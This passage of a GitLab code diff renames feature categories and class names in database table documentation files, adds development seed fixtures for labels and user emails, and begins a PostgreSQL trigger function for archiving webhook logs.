index 1b2f910c88a..c489f1b3ecb 100644
--- a/db/docs/merge_request_diff_commits.yml
+++ b/db/docs/merge_request_diff_commits.yml
@@ -3,7 +3,7 @@ table_name: merge_request_diff_commits
classes:
- MergeRequestDiffCommit
feature_categories:
-- code_review
+- code_review_workflow
description: Store commit related information within a merge request diff
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12527
milestone: '9.4'
diff --git a/db/docs/merge_request_diff_files.yml b/db/docs/merge_request_diff_files.yml
index 5bb625231f8..cefd7faa923 100644
--- a/db/docs/merge_request_diff_files.yml
+++ b/db/docs/merge_request_diff_files.yml
@@ -3,7 +3,7 @@ table_name: merge_request_diff_files
classes:
- MergeRequestDiffFile
feature_categories:
-- code_review
+- code_review_workflow
description: Store file related information within a merge request diff
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12047
milestone: '9.4'
diff --git a/db/docs/merge_request_diffs.yml b/db/docs/merge_request_diffs.yml
index d1044ebffe8..3abd8d80d4b 100644
--- a/db/docs/merge_request_diffs.yml
+++ b/db/docs/merge_request_diffs.yml
@@ -3,7 +3,7 @@ table_name: merge_request_diffs
classes:
- MergeRequestDiff
feature_categories:
-- code_review
+- code_review_workflow
description: Store information about the changes made within a git push for a merge request
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/c983e8eb3d9cac01090b8657735544f71f891576
milestone: '6.6'
diff --git a/db/docs/merge_request_metrics.yml b/db/docs/merge_request_metrics.yml
index 31267b6bf97..250f900246b 100644
--- a/db/docs/merge_request_metrics.yml
+++ b/db/docs/merge_request_metrics.yml
@@ -4,7 +4,7 @@ classes:
- MergeRequest::Metrics
feature_categories:
- value_stream_management
-- code_review
+- code_review_workflow
description: Store various metrics for merge requests.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5986
milestone: '8.12'
diff --git a/db/docs/merge_request_predictions.yml b/db/docs/merge_request_predictions.yml
index 60680a73583..9d1ef61c66a 100644
--- a/db/docs/merge_request_predictions.yml
+++ b/db/docs/merge_request_predictions.yml
@@ -1,7 +1,7 @@
---
table_name: merge_request_predictions
classes:
-- MergeRequest::Prediction
+- MergeRequest::Predictions
feature_categories:
- workflow_automation
description: Includes machine learning model predictions
diff --git a/db/docs/merge_request_reviewers.yml b/db/docs/merge_request_reviewers.yml
index b8afea0d217..0de14b578de 100644
--- a/db/docs/merge_request_reviewers.yml
+++ b/db/docs/merge_request_reviewers.yml
@@ -3,7 +3,7 @@ table_name: merge_request_reviewers
classes:
- MergeRequestReviewer
feature_categories:
-- code_review
+- code_review_workflow
description: Store allocated reviewers for merge requests
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40358
milestone: '13.4'
diff --git a/db/docs/merge_requests.yml b/db/docs/merge_requests.yml
index 8e849a242b4..bd08875eafe 100644
--- a/db/docs/merge_requests.yml
+++ b/db/docs/merge_requests.yml
@@ -3,7 +3,7 @@ table_name: merge_requests
classes:
- MergeRequest
feature_categories:
-- code_review
+- code_review_workflow
description: This is the main table that stores information about project merge requests.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/6d460aa2d6b3959593c168eed181516036525393
milestone: "<6.0"
diff --git a/db/docs/merge_requests_closing_issues.yml b/db/docs/merge_requests_closing_issues.yml
index 9ad45df375a..479a81d8c67 100644
--- a/db/docs/merge_requests_closing_issues.yml
+++ b/db/docs/merge_requests_closing_issues.yml
@@ -3,7 +3,7 @@ table_name: merge_requests_closing_issues
classes:
- MergeRequestsClosingIssues
feature_categories:
-- code_review
+- code_review_workflow
description: Store the events of merge request closing any issues
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5986
milestone: '8.12'
diff --git a/db/docs/ml_candidate_metadata.yml b/db/docs/ml_candidate_metadata.yml
index 485544f0f59..96396a6485e 100644
--- a/db/docs/ml_candidate_metadata.yml
+++ b/db/docs/ml_candidate_metadata.yml
@@ -4,7 +4,6 @@ classes:
- Ml::CandidateMetadata
feature_categories:
- mlops
- - incubation
gitlab_schema: gitlab_main
description: A Candidate Metadata record holds extra information about the candidate
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104267
diff --git a/db/docs/ml_candidate_metrics.yml b/db/docs/ml_candidate_metrics.yml
index 24489973dd5..4b6087c977e 100644
--- a/db/docs/ml_candidate_metrics.yml
+++ b/db/docs/ml_candidate_metrics.yml
@@ -4,7 +4,6 @@ classes:
- Ml::CandidateMetric
feature_categories:
- mlops
- - incubation
description: Metrics recorded for a Machine Learning model candidate
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95168
milestone: '15.4'
diff --git a/db/docs/ml_candidate_params.yml b/db/docs/ml_candidate_params.yml
index 25372de7c7f..334ba7420e8 100644
--- a/db/docs/ml_candidate_params.yml
+++ b/db/docs/ml_candidate_params.yml
@@ -1,10 +1,9 @@
---
table_name: ml_candidate_params
classes:
- - Ml::CandidateParams
+- Ml::CandidateParam
feature_categories:
- - mlops
- - incubation
+- mlops
description: Configuration parameters recorded for a Machine Learning model candidate
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95168
milestone: '15.4'
diff --git a/db/docs/ml_candidates.yml b/db/docs/ml_candidates.yml
index c057eb45675..a79729e1548 100644
--- a/db/docs/ml_candidates.yml
+++ b/db/docs/ml_candidates.yml
@@ -4,7 +4,6 @@ classes:
- Ml::Candidate
feature_categories:
- mlops
- - incubation
description: A Model Candidate is a record of the results on training a model on some configuration
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95168
milestone: '15.4'
diff --git a/db/docs/ml_experiment_metadata.yml b/db/docs/ml_experiment_metadata.yml
index a77781cb601..812a33fe176 100644
--- a/db/docs/ml_experiment_metadata.yml
+++ b/db/docs/ml_experiment_metadata.yml
@@ -4,7 +4,6 @@ classes:
- Ml::ExperimentMetadata
feature_categories:
- mlops
- - incubation
gitlab_schema: gitlab_main
description: An Experiment Metadata record holds extra information about the experiment
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104267
diff --git a/db/docs/ml_experiments.yml b/db/docs/ml_experiments.yml
index bada30749d3..efae3c53119 100644
--- a/db/docs/ml_experiments.yml
+++ b/db/docs/ml_experiments.yml
@@ -4,7 +4,6 @@ classes:
- Ml::Experiment
feature_categories:
- mlops
- - incubation
description: A Machine Learning Experiments groups many Model Candidates
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95168
milestone: '15.4'
diff --git a/db/docs/namespace_aggregation_schedules.yml b/db/docs/namespace_aggregation_schedules.yml
index c961c33f2ee..56ac5ee3ed6 100644
--- a/db/docs/namespace_aggregation_schedules.yml
+++ b/db/docs/namespace_aggregation_schedules.yml
@@ -3,7 +3,7 @@ table_name: namespace_aggregation_schedules
classes:
- Namespace::AggregationSchedule
feature_categories:
-- utilization
+- subscription_cost_management
description: Keeps update schedules for namespace_root_storage_statistics
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29570
milestone: '12.1'
diff --git a/db/docs/namespace_bans.yml b/db/docs/namespace_bans.yml
index af68cf0b48b..dbb1c012bda 100644
--- a/db/docs/namespace_bans.yml
+++ b/db/docs/namespace_bans.yml
@@ -1,10 +1,10 @@
---
table_name: namespace_bans
classes:
- - NamespaceBan
+- Namespaces::NamespaceBan
feature_categories:
- - instance_resiliency
+- instance_resiliency
description: Contains users banned from namespaces
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91271
-milestone: "15.2"
+milestone: '15.2'
gitlab_schema: gitlab_main
diff --git a/db/docs/namespace_details.yml b/db/docs/namespace_details.yml
index d256085bf00..35e57d7c686 100644
--- a/db/docs/namespace_details.yml
+++ b/db/docs/namespace_details.yml
@@ -1,7 +1,7 @@
---
table_name: namespace_details
classes:
-- NamespaceDetail
+- Namespace::Detail
feature_categories:
- subgroups
description: Used to store details for namespaces
diff --git a/db/docs/namespace_limits.yml b/db/docs/namespace_limits.yml
index 8601d163d9d..bcc687de858 100644
--- a/db/docs/namespace_limits.yml
+++ b/db/docs/namespace_limits.yml
@@ -3,7 +3,7 @@ table_name: namespace_limits
classes:
- NamespaceLimit
feature_categories:
-- utilization
+- subscription_cost_management
description: Contains limits for namespace features like storage and ci
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34746
milestone: '13.2'
diff --git a/db/docs/namespace_root_storage_statistics.yml b/db/docs/namespace_root_storage_statistics.yml
index 2a3e19ab108..ac2207d7698 100644
--- a/db/docs/namespace_root_storage_statistics.yml
+++ b/db/docs/namespace_root_storage_statistics.yml
@@ -3,7 +3,7 @@ table_name: namespace_root_storage_statistics
classes:
- Namespace::RootStorageStatistics
feature_categories:
-- utilization
+- application_instrumentation
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/bde41ee866d0fe0b1bb5ece1130fb6e24d95ad17
milestone: '12.1'
diff --git a/db/docs/namespace_statistics.yml b/db/docs/namespace_statistics.yml
index fd7dcb4b62e..e84d5d563f8 100644
--- a/db/docs/namespace_statistics.yml
+++ b/db/docs/namespace_statistics.yml
@@ -3,7 +3,7 @@ table_name: namespace_statistics
classes:
- NamespaceStatistics
feature_categories:
-- utilization
+- application_instrumentation
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/48d8bdca0493056a717cd7d9fee2e8b51d6b0502
milestone: '9.0'
diff --git a/db/docs/namespaces_sync_events.yml b/db/docs/namespaces_sync_events.yml
index f143ac29804..f089ca85789 100644
--- a/db/docs/namespaces_sync_events.yml
+++ b/db/docs/namespaces_sync_events.yml
@@ -3,7 +3,7 @@ table_name: namespaces_sync_events
classes:
- Namespaces::SyncEvent
feature_categories:
-- sharding
+- pods
description: Used as a queue of data that needs to be synchronized between the `ci` and `main` database
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75517
milestone: '14.6'
diff --git a/db/docs/note_diff_files.yml b/db/docs/note_diff_files.yml
index 5e78644fe52..38f7ce9a30f 100644
--- a/db/docs/note_diff_files.yml
+++ b/db/docs/note_diff_files.yml
@@ -3,7 +3,7 @@ table_name: note_diff_files
classes:
- NoteDiffFile
feature_categories:
-- code_review
+- code_review_workflow
description: Persisted truncated note diffs
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18991
milestone: '11.0'
diff --git a/db/docs/notes.yml b/db/docs/notes.yml
index a6bc81f093f..a8dac9ccbd3 100644
--- a/db/docs/notes.yml
+++ b/db/docs/notes.yml
@@ -12,10 +12,10 @@ classes:
- SyntheticNote
- WeightNote
feature_categories:
-- code_review
+- code_review_workflow
- portfolio_management
- service_desk
-- snippets
+- source_code_management
- team_planning
description: The object at the core of comments, discussions and system notes shown on issues, MRs and epics
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/9ba1224867665844b117fa037e1465bb706b3685
diff --git a/db/docs/operations_feature_flags.yml b/db/docs/operations_feature_flags.yml
index 9207ab20b3a..25c3f0bfe95 100644
--- a/db/docs/operations_feature_flags.yml
+++ b/db/docs/operations_feature_flags.yml
@@ -3,7 +3,7 @@ table_name: operations_feature_flags
classes:
- Operations::FeatureFlag
feature_categories:
-- release
+- feature_flags
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433
milestone: '11.4'
diff --git a/db/docs/packages_rpm_repository_files.yml b/db/docs/packages_rpm_repository_files.yml
index 7044b58e22a..4e62774e3c8 100644
--- a/db/docs/packages_rpm_repository_files.yml
+++ b/db/docs/packages_rpm_repository_files.yml
@@ -1,7 +1,7 @@
---
table_name: packages_rpm_repository_files
classes:
-- Packages::RPM::RepositoryFile
+- Packages::Rpm::RepositoryFile
feature_categories:
- package_registry
description: Package registry file links and file metadata for RPM packages
diff --git a/db/docs/project_statistics.yml b/db/docs/project_statistics.yml
index a3afb678877..9bc6175b45f 100644
--- a/db/docs/project_statistics.yml
+++ b/db/docs/project_statistics.yml
@@ -3,7 +3,7 @@ table_name: project_statistics
classes:
- ProjectStatistics
feature_categories:
-- utilization
+- application_instrumentation
description: Records statistics about the usage of various product features
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7754
milestone: '8.16'
diff --git a/db/docs/project_wiki_repository_states.yml b/db/docs/project_wiki_repository_states.yml
index c12e904b339..e6faeadf8a6 100644
--- a/db/docs/project_wiki_repository_states.yml
+++ b/db/docs/project_wiki_repository_states.yml
@@ -1,7 +1,7 @@
---
table_name: project_wiki_repository_states
classes:
-- ProjectWikiRepositoryState
+- Geo::ProjectWikiRepositoryState
feature_categories:
- geo_replication
description: Separate table for project wikis containing Geo verification metadata.
diff --git a/db/docs/projects_sync_events.yml b/db/docs/projects_sync_events.yml
index 7e03e5abe63..70e325d1c0a 100644
--- a/db/docs/projects_sync_events.yml
+++ b/db/docs/projects_sync_events.yml
@@ -3,7 +3,7 @@ table_name: projects_sync_events
classes:
- Projects::SyncEvent
feature_categories:
-- sharding
+- pods
description: Used as a queue of data that needs to be synchronized between the `ci` and `main` database
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75517
milestone: '14.6'
diff --git a/db/docs/reviews.yml b/db/docs/reviews.yml
index 81253d0c3c1..b5d8985c7d0 100644
--- a/db/docs/reviews.yml
+++ b/db/docs/reviews.yml
@@ -3,7 +3,7 @@ table_name: reviews
classes:
- Review
feature_categories:
-- code_review
+- code_review_workflow
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8442
milestone: '11.6'
diff --git a/db/docs/security_orchestration_policy_configurations.yml b/db/docs/security_orchestration_policy_configurations.yml
index 7d23d30de82..c015de47123 100644
--- a/db/docs/security_orchestration_policy_configurations.yml
+++ b/db/docs/security_orchestration_policy_configurations.yml
@@ -3,7 +3,7 @@ table_name: security_orchestration_policy_configurations
classes:
- Security::OrchestrationPolicyConfiguration
feature_categories:
-- security_orchestration
+- security_policy_management
description: |
Relates a Project/Namespace and Security Orchestration Policy Project, where Security
Policies are stored in the repository as a YAML file.
diff --git a/db/docs/security_orchestration_policy_rule_schedules.yml b/db/docs/security_orchestration_policy_rule_schedules.yml
index 8d1067d8f58..bcb81544f43 100644
--- a/db/docs/security_orchestration_policy_rule_schedules.yml
+++ b/db/docs/security_orchestration_policy_rule_schedules.yml
@@ -3,7 +3,7 @@ table_name: security_orchestration_policy_rule_schedules
classes:
- Security::OrchestrationPolicyRuleSchedule
feature_categories:
-- security_orchestration
+- security_policy_management
description: |
Security policies scheduled to run based on cadence defined in the policy
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59842
diff --git a/db/docs/slack_api_scopes.yml b/db/docs/slack_api_scopes.yml
index 467880dccf5..184c5bbebd4 100644
--- a/db/docs/slack_api_scopes.yml
+++ b/db/docs/slack_api_scopes.yml
@@ -1,7 +1,7 @@
---
table_name: slack_api_scopes
classes:
-- Integrations::KnownSlackApiScope
+- Integrations::SlackWorkspace::ApiScope
feature_categories:
- integrations
description: Data related to the Slack application integration.
diff --git a/db/docs/slack_integrations_scopes.yml b/db/docs/slack_integrations_scopes.yml
index b09c1b4a51e..773bf9dd57d 100644
--- a/db/docs/slack_integrations_scopes.yml
+++ b/db/docs/slack_integrations_scopes.yml
@@ -1,7 +1,7 @@
---
table_name: slack_integrations_scopes
classes:
-- Integrations::SlackIntegrationsKnownApiScope
+- Integrations::SlackWorkspace::IntegrationApiScope
feature_categories:
- integrations
description: Data related to the Slack application integration.
diff --git a/db/docs/snippet_repositories.yml b/db/docs/snippet_repositories.yml
index f33c3828c46..e2fd54f7c58 100644
--- a/db/docs/snippet_repositories.yml
+++ b/db/docs/snippet_repositories.yml
@@ -3,7 +3,7 @@ table_name: snippet_repositories
classes:
- SnippetRepository
feature_categories:
-- snippets
+- source_code_management
description: Stores repository information used to version control snippets.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23796
milestone: '12.8'
diff --git a/db/docs/snippet_statistics.yml b/db/docs/snippet_statistics.yml
index 74a0d29bedc..ad816a6e2e0 100644
--- a/db/docs/snippet_statistics.yml
+++ b/db/docs/snippet_statistics.yml
@@ -3,7 +3,7 @@ table_name: snippet_statistics
classes:
- SnippetStatistics
feature_categories:
-- snippets
+- source_code_management
description: Stores the repository size, commit count, and file count regarding the snippet repository.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35026
milestone: '13.2'
diff --git a/db/docs/snippet_user_mentions.yml b/db/docs/snippet_user_mentions.yml
index 8f141bd0263..099d027d145 100644
--- a/db/docs/snippet_user_mentions.yml
+++ b/db/docs/snippet_user_mentions.yml
@@ -3,7 +3,7 @@ table_name: snippet_user_mentions
classes:
- SnippetUserMention
feature_categories:
-- snippets
+- source_code_management
description: For storing mentioned users, groups, projects referenced in a snippet description.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19009
milestone: '12.6'
diff --git a/db/docs/snippets.yml b/db/docs/snippets.yml
index 4d92b59c924..1a1719552a1 100644
--- a/db/docs/snippets.yml
+++ b/db/docs/snippets.yml
@@ -5,7 +5,7 @@ classes:
- ProjectSnippet
- Snippet
feature_categories:
-- snippets
+- source_code_management
description: GitLab snippets allow you to store and share bits of code and text with other users.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/9265de3d25715aeafd38a4ef41596dca058dc18c
milestone: "1.0.1"
diff --git a/db/docs/suggestions.yml b/db/docs/suggestions.yml
index 7667a693b32..7d8ee3ca4d9 100644
--- a/db/docs/suggestions.yml
+++ b/db/docs/suggestions.yml
@@ -3,7 +3,7 @@ table_name: suggestions
classes:
- Suggestion
feature_categories:
-- code_review
+- code_review_workflow
description: Storing code suggestions within notes
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8656
milestone: '11.6'
diff --git a/db/docs/timelog_categories.yml b/db/docs/timelog_categories.yml
index 8448e3dd59f..a8874837a35 100644
--- a/db/docs/timelog_categories.yml
+++ b/db/docs/timelog_categories.yml
@@ -1,7 +1,7 @@
---
table_name: timelog_categories
classes:
-- TimelogCategory
+- TimeTracking::TimelogCategory
feature_categories:
- team_planning
description: Categories that can be associated to a timelog to categorize them
diff --git a/db/docs/uploads.yml b/db/docs/uploads.yml
index b22f8b1d1ad..88f3bd68946 100644
--- a/db/docs/uploads.yml
+++ b/db/docs/uploads.yml
@@ -3,12 +3,12 @@ table_name: uploads
classes:
- Upload
feature_categories:
-- code_review
+- code_review_workflow
- design_management
- importers
- portfolio_management
- projects
-- snippets
+- source_code_management
- team_planning
description: For tracking blob metadata. Single table inheritance is used to relate this table to many other tables.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/4c622b71fd284058deee483bf0009f8179b792bc
diff --git a/db/docs/user_achievements.yml b/db/docs/user_achievements.yml
new file mode 100644
index 00000000000..e60631de630
--- /dev/null
+++ b/db/docs/user_achievements.yml
@@ -0,0 +1,10 @@
+---
+table_name: user_achievements
+classes:
+- Achievements::UserAchievement
+feature_categories:
+- users
+description: Achievements awarded to and revoked from users
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107027
+milestone: '15.8'
+gitlab_schema: gitlab_main
diff --git a/db/docs/user_highest_roles.yml b/db/docs/user_highest_roles.yml
index 8713aff5f3f..cc12e3080ff 100644
--- a/db/docs/user_highest_roles.yml
+++ b/db/docs/user_highest_roles.yml
@@ -3,8 +3,8 @@ table_name: user_highest_roles
classes:
- UserHighestRole
feature_categories:
-- utilization
-description: TODO
+- authentication_and_authorization
+description: Stores highest role per User they have in a Group or a Project. If a User has an open invite or pending access request or no membership the highest role will be set to nil.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26987
milestone: '12.9'
gitlab_schema: gitlab_main
diff --git a/db/docs/user_namespace_callouts.yml b/db/docs/user_namespace_callouts.yml
index 3f057e21aee..7ffc2e0c209 100644
--- a/db/docs/user_namespace_callouts.yml
+++ b/db/docs/user_namespace_callouts.yml
@@ -1,10 +1,9 @@
---
table_name: user_namespace_callouts
-classes:
-- Users::NamespaceCallout
+classes: []
feature_categories:
- navigation
description: Contains records of which users have dismissed a callout, grouped by namespace.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91092
milestone: '15.2'
-gitlab_schema: gitlab_main
+gitlab_schema: gitlab_main \ No newline at end of file
diff --git a/db/docs/users_statistics.yml b/db/docs/users_statistics.yml
index 9110ee6063d..5fdbc60616f 100644
--- a/db/docs/users_statistics.yml
+++ b/db/docs/users_statistics.yml
@@ -3,7 +3,7 @@ table_name: users_statistics
classes:
- UsersStatistics
feature_categories:
-- utilization
+- application_instrumentation
description: User statistics
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26261
milestone: '12.9'
diff --git a/db/docs/views/postgres_partitioned_tables.yml b/db/docs/views/postgres_partitioned_tables.yml
index ddec7550e80..c23b582072e 100644
--- a/db/docs/views/postgres_partitioned_tables.yml
+++ b/db/docs/views/postgres_partitioned_tables.yml
@@ -2,7 +2,7 @@
view_name: postgres_partitioned_tables
description: TODO
classes:
-- Gitlab::Database::PostgresPartitionedTables
+- Gitlab::Database::PostgresPartitionedTable
feature_categories:
- database
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45591
diff --git a/db/docs/vulnerability_remediations.yml b/db/docs/vulnerability_remediations.yml
index d522a2147c0..e2de83561d1 100644
--- a/db/docs/vulnerability_remediations.yml
+++ b/db/docs/vulnerability_remediations.yml
@@ -1,6 +1,7 @@
---
table_name: vulnerability_remediations
classes:
+- Security::Ingestion::Tasks::IngestRemediations::RemediationBulkInsertProxy
- Vulnerabilities::Remediation
feature_categories:
- vulnerability_management
diff --git a/db/docs/vulnerability_state_transitions.yml b/db/docs/vulnerability_state_transitions.yml
index 0f168f7a0ee..1a669b1527d 100644
--- a/db/docs/vulnerability_state_transitions.yml
+++ b/db/docs/vulnerability_state_transitions.yml
@@ -1,9 +1,9 @@
---
table_name: vulnerability_state_transitions
classes:
- - Vulnerabilities::VulnerabilityStateTransition
+- Vulnerabilities::StateTransition
feature_categories:
- - vulnerability_management
+- vulnerability_management
description: Stores state transitions of a Vulnerability
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87957
milestone: '15.1'
diff --git a/db/docs/work_item_parent_links.yml b/db/docs/work_item_parent_links.yml
index 3966154a17e..ca933345fc1 100644
--- a/db/docs/work_item_parent_links.yml
+++ b/db/docs/work_item_parent_links.yml
@@ -1,7 +1,6 @@
---
table_name: work_item_parent_links
classes:
-- WorkItem
- WorkItems::ParentLink
feature_categories:
- team_planning
diff --git a/db/fixtures/development/03_project.rb b/db/fixtures/development/03_project.rb
index ae9a17b637c..d1928a9ad82 100644
--- a/db/fixtures/development/03_project.rb
+++ b/db/fixtures/development/03_project.rb
@@ -4,6 +4,7 @@ class Gitlab::Seeder::Projects
include ActionView::Helpers::NumberHelper
PROJECT_URLS = %w[
+ https://gitlab.com/gitlab-com/support/toolbox/gitlab-smoke-tests.git
https://gitlab.com/gitlab-org/gitlab-test.git
https://gitlab.com/gitlab-org/gitlab-shell.git
https://gitlab.com/gnuwget/wget2.git
diff --git a/db/fixtures/development/17_cycle_analytics.rb b/db/fixtures/development/17_cycle_analytics.rb
index 4f6bfc5c82a..fa890531861 100644
--- a/db/fixtures/development/17_cycle_analytics.rb
+++ b/db/fixtures/development/17_cycle_analytics.rb
@@ -50,6 +50,17 @@ class Gitlab::Seeder::CycleAnalytics
end
def seed!
+ unless project.repository_exists?
+ puts
+ puts 'WARNING'
+ puts '======='
+ puts "Seeding #{self.class} is not possible because the given project (#{project.full_path}) doesn't have a repository."
+ puts 'Try specifying a project with working repository or omit the VSA_SEED_PROJECT_ID parameter so the seed script will automatically create one.'
+ puts
+
+ return
+ end
+
create_developers!
create_issues!
@@ -169,6 +180,7 @@ class Gitlab::Seeder::CycleAnalytics
)
project = FactoryBot.create(
:project,
+ :repository,
name: "Value Stream Management Project #{suffix}",
path: "vsmp-#{suffix}",
creator: admin,
diff --git a/db/fixtures/development/33_triage_ops.rb b/db/fixtures/development/33_triage_ops.rb
index 14832ee4af9..f2266e49efc 100644
--- a/db/fixtures/development/33_triage_ops.rb
+++ b/db/fixtures/development/33_triage_ops.rb
@@ -7,7 +7,7 @@ class Gitlab::Seeder::TriageOps
WEBHOOK_URL = 'http://0.0.0.0:$PORT$'
WEBHOOK_TOKEN = "triage-ops-webhook-token"
- WORK_TYPE_LABELS = %w(
+ WORK_TYPE_LABELS = <<~LABELS.split("\n")
bug::availability
bug::mobile
bug::performance
@@ -25,9 +25,9 @@ class Gitlab::Seeder::TriageOps
type::bug
type::feature
type::maintenance
- )
+ LABELS
- WORKFLOW_LABELS = %w(
+ WORKFLOW_LABELS = <<~LABELS.split("\n")
workflow::blocked
workflow::design
workflow::in dev
@@ -41,7 +41,39 @@ class Gitlab::Seeder::TriageOps
workflow::refinement
workflow::validation backlog
workflow::verification
- )
+ LABELS
+
+ OTHER_LABELS = <<~LABELS.split("\n")
+ ep::contributor tooling
+ ep::meta
+ ep::metrics
+ ep::pipeline
+ ep::review-apps
+ ep::triage
+ master-broken::caching
+ master-broken::ci-config
+ master-broken::dependency-upgrade
+ master-broken::flaky-test
+ master-broken::fork-repo-test-gap
+ master-broken::infrastructure
+ master-broken::need-merge-train
+ master-broken::pipeline-skipped-before-merge
+ master-broken::test-selection-gap
+ master-broken::undetermined
+ pipeline:expedite
+ pipeline:expedite-master-fixing
+ pipeline:mr-approved
+ pipeline:run-all-jest
+ pipeline:run-all-rspec
+ pipeline:run-as-if-foss
+ pipeline:run-as-if-jh
+ pipeline:run-flaky-tests
+ pipeline:run-praefect-with-db
+ pipeline:run-review-app
+ pipeline:run-single-db
+ pipeline:skip-undercoverage
+ pipeline:update-cache
+ LABELS
def seed!
puts "Updating settings to allow web hooks to localhost"
@@ -75,6 +107,10 @@ class Gitlab::Seeder::TriageOps
puts "Ensuring workflow type labels"
ensure_labels_for(WORKFLOW_LABELS, 'gitlab-com')
ensure_labels_for(WORKFLOW_LABELS, 'gitlab-org')
+
+ puts "Ensuring other labels"
+ ensure_labels_for(OTHER_LABELS, 'gitlab-com')
+ ensure_labels_for(OTHER_LABELS, 'gitlab-org')
end
end
end
diff --git a/db/fixtures/development/35_emails.rb b/db/fixtures/development/35_emails.rb
new file mode 100644
index 00000000000..a743c326015
--- /dev/null
+++ b/db/fixtures/development/35_emails.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+class Gitlab::Seeder::Emails
+ attr_reader :user, :group_namespace_ids, :project_namespace_ids
+
+ def initialize(user, group_namespace_ids, project_namespace_ids)
+ @user = user
+ @group_namespace_ids = group_namespace_ids.sample(3)
+ @project_namespace_ids = project_namespace_ids.sample(3)
+ end
+
+ def seed!
+ company_email = "#{user.username}-work@example.com"
+ personal_email = "#{user.username}-home@example.com"
+ oss_email = "#{user.username}-oss@example.com"
+ unverified_email = "#{user.username}-unverified@example.com"
+
+ Email.create!(
+ user_id: user.id,
+ email: unverified_email
+ )
+
+ [company_email, personal_email, oss_email].each_with_index do |email, index|
+ email_id = Email.create!(
+ user_id: user.id,
+ email: email,
+ confirmed_at: DateTime.current
+ ).id
+ Users::NamespaceCommitEmail.create!(
+ user_id: user.id,
+ namespace_id: group_namespace_ids[index],
+ email_id: email_id
+ )
+ Users::NamespaceCommitEmail.create!(
+ user_id: user.id,
+ namespace_id: project_namespace_ids[index],
+ email_id: email_id
+ )
+ print '.'
+ end
+ end
+end
+
+Gitlab::Seeder.quiet do
+ puts "\nGenerating email data"
+
+ group_namespace_ids = Group.not_mass_generated.where('parent_id IS NULL').pluck(:id)
+ project_namespace_ids = Project.all.pluck(:project_namespace_id)
+
+ User.first(3).each do |user|
+ Gitlab::Seeder::Emails.new(user, group_namespace_ids, project_namespace_ids).seed!
+ rescue => e
+ warn "\nError seeding e-mails: #{e}"
+ end
+end
diff --git a/db/init_structure.sql b/db/init_structure.sql
index 913b495b6fd..00f06078426 100644
--- a/db/init_structure.sql
+++ b/db/init_structure.sql
@@ -41,58 +41,534 @@ RETURN NULL;
END
$$;
-CREATE FUNCTION table_sync_function_2be879775d() RETURNS trigger
+CREATE FUNCTION table_sync_function_29bc99d6db() RETURNS trigger
LANGUAGE plpgsql
AS $$
BEGIN
IF (TG_OP = 'DELETE') THEN
- DELETE FROM audit_events_archived where id = OLD.id;
+ DELETE FROM web_hook_logs_archived where id = OLD.id;
ELSIF (TG_OP = 'UPDATE') THEN
- UPDATE audit_events_archived
- SET author_id = NEW.author_id,
- entity_id = NEW.entity_id,
- entity_type = NEW.entity_type,
- details = NEW.details,
+ UPDATE web_hook_logs_archived
+ SET web_hook_id = NEW.web_hook_id,
+ trigger = NEW.trigger,
+ url = NEW.url,
+ request_headers = NEW.request_headers,
+ request_data = NEW.request_data,
+ response_headers = NEW.response_headers,
+ response_body = NEW.response_body,
+ response_status = NEW.response_status,
+ execution_duration = NEW.execution_duration,
+ internal_error_message = NEW.internal_error_message,
created_at = NEW.created_at,
- ip_address = NEW.ip_address,
- author_name = NEW.author_name,
- target_details = NEW.target_details,
- entity_path = NEW.entity_path,
- target_type = NEW.target_type,
- target_id = NEW.target_id
- WHERE audit_events_archived.id = NEW.id;
+ updated_at = NEW.updated_at
+ WHERE web_hook_logs_archived.id = NEW.id;
ELSIF (TG_OP = 'INSERT') THEN
- INSERT INTO audit_events_archived (id,
- author_id,
- entity_id,
- entity_type,
- details,
+ INSERT INTO web_hook_logs_archived (id,
+ web_hook_id,
+ trigger,
